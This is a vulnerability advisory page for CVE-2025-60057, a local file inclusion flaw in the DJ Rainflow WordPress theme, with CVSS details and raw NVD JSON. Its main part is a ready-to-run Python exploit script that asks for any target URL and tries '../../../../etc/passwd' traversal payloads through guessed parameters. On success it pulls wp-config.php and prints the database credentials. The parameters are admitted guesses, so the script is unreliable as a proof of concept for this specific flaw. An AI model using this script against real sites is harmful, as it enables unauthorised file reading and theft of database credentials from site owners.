Security Vulnerability Report
中文
CVE-2025-60057 CVSS 8.1 HIGH

CVE-2025-60057

Published: 2025-12-18 08:16:06
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes DJ Rainflow dj-rainflow allows PHP Local File Inclusion.This issue affects DJ Rainflow: from n/a through <= 1.3.13.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

DJ Rainflow <= 1.3.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60057 PoC - DJ Rainflow LFI # Target: WordPress site with vulnerable DJ Rainflow theme <= 1.3.13 import requests import sys target = input("Enter target URL (e.g., http://example.com): ").strip() if not target.startswith('http'): target = 'http://' + target # Common WordPress paths paths = [ '/wp-content/themes/dj-rainflow/', '/wp-content/plugins/dj-rainflow/' ] # File inclusion parameters (common patterns) params_to_test = [ {'page': '../../../../etc/passwd'}, {'file': '../../../../etc/passwd'}, {'template': '../../../../etc/passwd'}, {'inc': '../../../../etc/passwd'}, {'load': '../../../../etc/passwd'}, {'path': '../../../../etc/passwd'}, {'view': '../../../../etc/passwd'}, {'action': '../../../../etc/passwd'} ] print(f"[*] Testing CVE-2025-60057 on {target}") print("[*] Target: DJ Rainflow Theme <= 1.3.13 LFI\n") for path in paths: for params in params_to_test: try: url = target + path response = requests.get(url, params=params, timeout=10, verify=False) if 'root:' in response.text or '[boot loader]' in response.text: print(f"[!] VULNERABLE! Found LFI at: {url}") print(f"[!] Parameter: {list(params.keys())[0]}") print(f"[!] Payload: {list(params.values())[0]}") print(f"[+] Response preview:\n{response.text[:500]}\n") # Try to read wp-config.php wp_config_params = {list(params.keys())[0]: '../../../../wp-config.php'} config_response = requests.get(url, params=wp_config_params, timeout=10) if 'DB_NAME' in config_response.text or 'DB_PASSWORD' in config_response.text: print("[!] CRITICAL: wp-config.php leaked with database credentials!") print(f"[+] wp-config.php content:\n{config_response.text[:1000]}") sys.exit(0) except requests.RequestException as e: print(f"[-] Error testing {url}: {e}") continue print("[*] Scan complete. Target may not be vulnerable or not found.") print("[*] Manual testing recommended with different parameters.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60057", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:05.510", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes DJ Rainflow dj-rainflow allows PHP Local File Inclusion.This issue affects DJ Rainflow: from n/a through <= 1.3.13."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/dj-rainflow/vulnerability/wordpress-dj-rainflow-theme-1-3-13-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}